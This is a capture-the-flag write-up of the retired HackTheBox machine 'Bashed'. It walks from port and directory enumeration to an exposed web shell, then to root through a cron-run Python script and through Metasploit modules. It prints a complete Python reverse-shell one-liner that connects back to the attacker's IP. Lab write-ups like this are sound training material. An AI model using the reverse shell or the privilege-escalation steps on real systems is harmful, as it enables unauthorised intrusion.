HackTheBox “Bashed” With & Without Metasploit WriteUp
Bashed is a retired machine available on the HackTheBox platform, renowned for its ease of completion, which aligns with its official rating. The journey commences with the discovery of a hidden web shell.
Let’s get started!🚀
Recon & Enumeration
Let’s use nmap to scan for open ports and services:
Upon conducting a port scan, we observe that port 80 is open.
Check the target through a web browser
Let us enumerate more using the tool dirsearch to scan for the directories we have on the web server.
After going through the directories we got, we have /dev which seems to be interesting.
Inside the directory /dev, we get the script phpbash.php which gives us access to a web shell.
Exploitation W/O Metasploit
Let us get this shell moved to our attack box by setting up a listener on our attack box.
In the target machine send a reverse shell to the attack machine using the python command below:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4343));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'And we get a shell back on out attack box.
Now we are looking for a way to escalate our privileges on the machine starting with what can we sudo here.
We can run as the user scriptmanager, and with more enumeration, we find the below.
We find that everything here is root owned except the directory /scripts which is owned by scriptmanager.
We change to scriptmanager as below.
As we can see below, we have full access rights to the /scripts directory.
We can see that we have a python script owned by us, after listing all files one more time, i saw that the last access time for the test.txt file has changed. After checking the python script below, we can assume that there is a cron job running periodically.
let us delete the Python script file
Then, create the python script file as below to send a shell back to the attack box.
Now, we back to our attack box and set up a listener with the same port we put on the shell.py above.
After waiting for a while, we get a shell running as a root.
Exploitation W/ Metasploit
We launch Metasploit handler and set it to get the shell from the web shell we already have on the target.
We background the session and use a module to upgrade the shell to meterpreter one.
We set its options and run.
We check the sessions we have.
We search for an exploit suggester module.
We set its options and run.
We get the modules below, which show that the machine seems to be vulnerable to three of them.
Use the first module and set the options and run.
And we get a root shell.
Cheers.
